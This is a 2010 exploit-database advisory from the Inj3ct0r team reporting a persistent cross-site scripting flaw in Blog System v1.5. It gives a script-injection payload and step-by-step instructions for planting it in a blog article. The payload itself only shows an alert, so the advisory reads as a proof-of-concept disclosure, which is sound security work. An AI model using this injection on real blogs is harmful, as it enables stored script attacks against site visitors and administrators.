Blog System v1.5 persistenet XSS
Posted on 12 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Blog System v1.5 persistenet XSS</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================ Blog System v1.5 persistenet XSS ================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ################################### 1 0 I'm SONiC member from Inj3ct0r Team 1 1 ################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Webapp : Blog System v1.5 persistenet XSS Vendor URL : http://www.netartmedia.net/blogsystem/index.html ####################################################################################################### Author : ..::[ SONiC ]::.. aka ~the_M4LW4r3~ <sonicdefence[at]gmail.com> Special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,MA1201,D3aD F0x,Nishi,Bunny,CURS3D,SeeME Greetz to :iNj3cT0r.com, www.andhrahackers.com ####################################################################################################### Description : Blog System is the world's leading blog hosting solution available on the market. With Blog System you could have your own customized and powerful multilanguage blog portal in a few hours, you'll have full control over the whole system and your bloggers will benefit from an user friendly interface with plenty of features allowing them to create and maintain great looking blogs. In order to run a blog portal with it, you don't need your own dedicated server but just an ordinary shared hosting package supporting PHP and MySQL. Blog System offers very rich functionality for the blog users to update and customize their blogs (add notes, comments, upload pictures and create photo albums, customize the blog look with dozens of templates and backgrounds, create lists, upload audio and video files and many, many others) and for the administrators to monitor and control the whole system (monitor the users, the space occupied and the bandwidth of the blogs, put advertisements on the user blogs, manage the website structure and content with a powerful CMS and many others. ############################################################################################################### Exploit: XSS : Attack Pattern : "><script>alert("w00t")</script> Step 1 : Register Step 2 : Now add your article Step 3 : Now insert your xss script :) Attack Pattern : "><script>alert("w00t")</script> Step 4 : Now go and check your blog Demo URl For POC : http://demo.blog23.com/ :P ############################################################################################################### # ..::[ SONiC ]::.. aka the_M4LW4R3 # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-12]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
